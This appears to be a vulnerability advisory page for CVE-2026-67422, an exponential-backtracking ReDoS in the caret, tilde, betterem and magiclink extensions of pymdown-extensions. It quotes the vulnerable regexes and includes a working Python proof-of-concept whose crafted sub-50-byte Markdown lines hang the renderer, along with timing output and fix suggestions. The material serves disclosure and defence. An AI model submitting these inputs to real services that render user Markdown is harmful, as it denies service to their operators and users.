CVE-2026-67422: pymdown-extensions: exponential-backtracking ReDoS in caret, tilde, betterem, and magiclink inline processors
Summary Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API.
Published Aug 7, 2026
Affected packages
pymdown-extensions
- Ecosystem
- PyPI
- Affected
- <= 11.0.0
- Fixed in
- 11.0.1
- Check
pip show pymdown-extensions
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary
Four inline processors in pymdown-extensions contain regular expressions with exponential backtracking. A single untrusted Markdown line under 50 bytes drives markdown.markdown() into unbounded CPU on the rendering thread (seconds at ~45 bytes, growing exponentially with each added character). All four fire in the extension's default configuration and are reachable through the documented public API. The caret/tilde/ betterem blow-up was introduced by the emphasis-pattern rewrite in PR #2547 (first released in 10.13, Dec 2024) — earlier releases used a linear (.+?) / ([^\s]+?) content group — and is present through 11.0 (latest); magiclink's host pattern is long-standing and affects effectively all releases. Likely CWE-1333 (Inefficient Regular Expression Complexity).
This is a distinct issue from CVE-2025-68142 (ReDoS in pymdownx.blocks.caption, RE_FIG_NUM, fixed in 10.16.1): different extensions, different regexes, and a different root cause (delimiter-run partition ambiguity rather than a ./\. typo).
Details
Four regexes share, or closely mirror, a vulnerable shape — an inner group that can partition a run of the delimiter character into {2,}-sized pieces in exponentially many ways, wrapped in a lazy +? that must fail before the engine can give up:
| Extension | Regex | Location (`11.0`) | | `pymdownx.caret` (superscript `^…^`) | `SUP2` | `pymdownx/caret.py:56` | | `pymdownx.tilde` (subscript `~…~`) | `SUB2` | `pymdownx/tilde.py:55` | | `pymdownx.betterem` (underscore `_…_`) | `SMART_UNDER_EM2` (default) | `pymdownx/betterem.py:93` | | `pymdownx.magiclink` (bare-URL autolink) | `RE_LINK` | `pymdownx/magiclink.py:56` (host at `:59`) |
pymdownx/caret.py:56 (pymdown-extensions 11.0):
SUP2 = r'(?<!\^)(\^)(?![\^\s])((?:[^\^\s]|\^{2,})+?)(?<![\^\s])(\^)(?!\^)'The content group (?:[^\^\s]|\^{2,})+? matches a run of carets only via the \^{2,} branch. A run of *k* carets can be split into ≥2-length pieces in exponentially many combinations; when no caret can serve as a valid closing delimiter (the trailing (?<![\^\s])(\^) cannot be satisfied), the engine explores every partition before failing. SUB2 (tilde) and SMART_UNDER_EM2 (betterem) are the same construct for ~ and _. In betterem the default smart_enable='underscore' routes underscores to SmartUnderscoreProcessor → SMART_UNDER_EM2 (betterem.py:93), which is the default-reachable, API-exploitable pattern; the non-smart UNDER_EM2 (:69, used only when smart_enable is asterisk/disable) shares the shape but did not reproduce through the public markdown.markdown() pipeline on the tested payload, so a fix and regression test should target SMART_UNDER_EM2.
pymdownx/magiclink.py:59 has the analogous ambiguity in the host portion, where overlapping character classes let a run of dots be grouped exponentially:
(?:ht|f)tps?://[^_\W][-\w]*(?:\.[-\w.]+)* # host: '\.' and '[-\w.]' inside (?:...)* both match '.'SUP2/SUB2/SMART_UNDER_EM2 are applied at each delimiter occurrence via the default PatternSequenceProcessor subclasses (pymdownx/util.py); RE_LINK is applied by MagiclinkPattern (registered unconditionally at priority 85). In all four cases, rendering markdown.markdown(src, extensions=[ext]) on untrusted src in default configuration is sufficient to reach the regex.
PoC
Single self-contained script; runs against the pinned release in an ephemeral env. Non-destructive — the input is ordinary Markdown text; the impact is CPU/time (a per-render alarm caps each attempt so the script terminates).
import signal
import time
from importlib.metadata import version
import markdown
print(f"# pymdown-extensions {version('pymdown-extensions')} / markdown {version('markdown')}")
CAP = 5.0 # a single render exceeding this is treated as a hang
class Timeout(Exception):
pass
def render(ext, text):
signal.signal(signal.SIGALRM, lambda *_: (_ for _ in ()).throw(Timeout()))
signal.setitimer(signal.ITIMER_REAL, CAP)
t = time.perf_counter()
try:
markdown.markdown(text, extensions=[ext])
return time.perf_counter() - t
except Timeout:
return None
finally:
signal.setitimer(signal.ITIMER_REAL, 0)
# ext -> (malicious builder, benign builder [valid & closed], ramp, hang count)
CASES = {
"pymdownx.caret": (lambda n: "^a" + "^" * n + "b", lambda n: "^" + "a" * n + "^", [24, 30, 36], 44),
"pymdownx.tilde": (lambda n: "~a" + "~" * n + "b", lambda n: "~" + "a" * n + "~", [24, 30, 36], 44),
"pymdownx.betterem": (lambda n: "_a" + "_" * n + "b", lambda n: "_" + "a" * n + "_", [24, 30, 36], 44),
"pymdownx.magiclink": (lambda n: "http://a" + "." * n + " ", lambda n: "http://" + "a" * n + ".com ", [28, 32, 36], 40),
}
repro = []
for ext, (evil, benign, ramp, hang) in CASES.items():
base_txt = benign(hang) # valid, closed run: same regex machinery, but linear
base = render(ext, base_txt)
print(f"\n[{ext}] benign baseline (len {len(base_txt)}, valid+closed): {base * 1e3:.3f} ms")
prev = None
for n in ramp:
txt = evil(n)
dt = render(ext, txt)
ratio = f" (x{dt / prev:.1f})" if (prev and dt) else ""
shown = f"{dt:8.3f} s" if dt is not None else f"> {CAP:.0f} s (HANG)"
print(f" malicious len {len(txt):3d}: {shown}{ratio}")
prev = dt
txt = evil(hang)
dt = render(ext, txt)
hung = dt is None
print(f" malicious len {len(txt):3d}: "
f"{'> %.0f s (HANG)' % CAP if hung else '%.3f s' % dt}")
ok = base < 0.05 and (hung or dt > 1.0)
repro.append(ok)
print(f" => {'REPRODUCED' if ok else 'not reproduced'}: a {len(txt)}-byte "
f"malicious line stalls the renderer; a valid {len(base_txt)}-byte line is instant.")
assert all(repro), "not reproduced"
print("\nVERDICT: exponential ReDoS reproduced in all four extensions via the "
"public markdown.markdown() API, default config (each < 50-byte input).")Run:
uv run --with pymdown-extensions==11.0 --with markdown==3.10.2 python poc.pyThe bug is in pymdown-extensions' own regexes run by the stdlib re engine, so it is independent of the Markdown library version (markdown pinned only for byte-exact output). Observed output:
# pymdown-extensions 11.0 / markdown 3.10.2
[pymdownx.caret] benign baseline (len 46, valid+closed): 11.768 ms
malicious len 27: 0.003 s
malicious len 33: 0.054 s (x16.6)
malicious len 39: 0.946 s (x17.6)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.tilde] benign baseline (len 46, valid+closed): 5.364 ms
malicious len 27: 0.003 s
malicious len 33: 0.053 s (x17.1)
malicious len 39: 0.962 s (x18.2)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.betterem] benign baseline (len 46, valid+closed): 3.167 ms
malicious len 27: 0.003 s
malicious len 33: 0.052 s (x17.1)
malicious len 39: 0.948 s (x18.1)
malicious len 47: > 5 s (HANG)
=> REPRODUCED: a 47-byte malicious line stalls the renderer; a valid 46-byte line is instant.
[pymdownx.magiclink] benign baseline (len 52, valid+closed): 4.935 ms
malicious len 37: 0.033 s
malicious len 41: 0.210 s (x6.4)
malicious len 45: 1.405 s (x6.7)
malicious len 49: > 5 s (HANG)
=> REPRODUCED: a 49-byte malicious line stalls the renderer; a valid 52-byte line is instant.
VERDICT: exponential ReDoS reproduced in all four extensions via the public markdown.markdown() API, default config (each < 50-byte input).The per-step ratio stays roughly constant as the run grows (a fixed multiplicative factor per fixed-size increment) — the signature of exponential, not polynomial, backtracking. A valid, closed delimiter run of the same length exercises the same regex yet renders in well under a millisecond, isolating the cost to the *unclosed* crafted run. Extending it a few more characters pushes the render time into minutes and beyond.
Impact
Denial of service: a sub-50-byte line pins the rendering thread at 100% CPU, with no memory pressure to trip an OOM killer. Most Material/MkDocs usage renders trusted author content at build time, but the untrusted-input exposure is concrete in two settings:
- General Python web apps that render user-supplied Markdown (comments, wikis, issue/ticket bodies, chat, live preview) — notably any app using
pymdownx.extra, which bundlesbetteremwith the vulnerable defaultsmart_enable='underscore', or that reuses a Material-style extension block in a runtime renderer. - Hosted docs/CI systems that build untrusted, user-contributed Markdown, where a single crafted line hangs the shared build worker.
- Attacker: unauthenticated, remote (anyone who can submit Markdown).
- Configuration: default for each extension.
- Proposed CWE-1333. Proposed CVSS 3.1 (as proposed — the maintainer makes the final call):
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H(7.5, High).
Suggestion
The vulnerable content groups need to be rewritten so a delimiter run has exactly one parse, removing the {2,} partition ambiguity that lets the engine re-segment a run on backtracking. For the emphasis patterns, restructuring the content so a delimiter run is consumed in a single, non-re-partitionable way (rather than by a {2,} branch inside a +? group) removes the blow-up; for RE_LINK, disambiguate the host so . is matched in exactly one place (a single labelled-host pattern such as (?:[-\w]+)(?:\.[-\w]+)*) rather than by overlapping classes. Possessive quantifiers / atomic groups are the most direct tool but require Python 3.11+; since the project supports Python 3.10, a structural rewrite is the portable option.
A regression fixture per extension (a short delimiter run with no valid closer, asserted to render under a small time budget) would guard against reintroduction.
References
- Affected source (
pymdown-extensions 11.0):pymdownx/caret.py:56(SUP2),pymdownx/tilde.py:55(SUB2),pymdownx/betterem.py:93(SMART_UNDER_EM2, default;:69UNDER_EM2shares the shape),pymdownx/magiclink.py:56(RE_LINK, host subexpression at:59). - Novelty: same class as CVE-2025-68142 (
pymdownx.blocks.captionRE_FIG_NUM, fixed 10.16.1) but distinct extensions, regexes, and root cause. Thecaret/tilde/betteremcontent groups gained the vulnerable{2,}alternation in PR #2547 (v10.13); earlier releases used a linear(.+?)/([^\s]+?)group.magiclink's host pattern is long-standing. None of the four has been touched by a prior security fix; all are present in the latest release (11.0).
Credited to seankohjs.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
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